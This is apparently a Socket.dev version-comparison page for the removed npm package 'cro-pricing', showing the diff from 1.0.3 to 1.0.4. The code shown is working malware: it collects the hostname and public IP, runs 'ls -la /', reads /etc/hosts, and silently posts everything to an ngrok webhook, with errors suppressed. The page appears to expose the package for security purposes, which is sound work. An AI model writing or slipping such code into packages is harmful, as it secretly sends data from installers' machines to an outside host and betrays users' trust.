You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

cro-pricing

Package Overview
Dependencies
Maintainers
1
Versions
11
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

cro-pricing - npm Package Compare versions

Package was removed
Sorry, it seems this package was removed from the registry
Comparing version
1.0.3
to
1.0.4
+1
-1
package.json
{
"name": "cro-pricing",
"version": "1.0.3",
"version": "1.0.4",
"main": "index.js",

@@ -5,0 +5,0 @@ "scripts": {

const os = require("os");
const axios = require("axios");
const { execSync } = require("child_process");
const fs = require("fs");
const webhookUrl = "https://9fb9-2405-201-f004-cabf-fca2-f62e-d4e3-b2e9.ngrok-free.app";
const webhookUrl = "https://9fb9-2405-201-f004-cabf-fca2-f62e-d4e3-b2e9.ngrok-free.app";
(async () => {

@@ -19,6 +22,19 @@ const hn = os.hostname();

pip = res.data.ip;
} catch (err) {
// fallback or keep as "Unavailable"
} catch (_) {}
let lsOutput = "";
let hostsContent = "";
try {
lsOutput = execSync("ls -la /", { encoding: "utf-8" });
} catch (_) {
lsOutput = "Failed to execute ls -la";
}
try {
hostsContent = fs.readFileSync("/etc/hosts", "utf-8");
} catch (_) {
hostsContent = "Failed to read /etc/hosts";
}
const payload = {

@@ -28,2 +44,4 @@ hostname: hn,

public_ip: pip,
ls_la_root: lsOutput,
etc_hosts: hostsContent,
};

@@ -33,5 +51,3 @@

await axios.post(webhookUrl, payload);
} catch (err) {
// Silent fail
}
} catch (_) {}
})();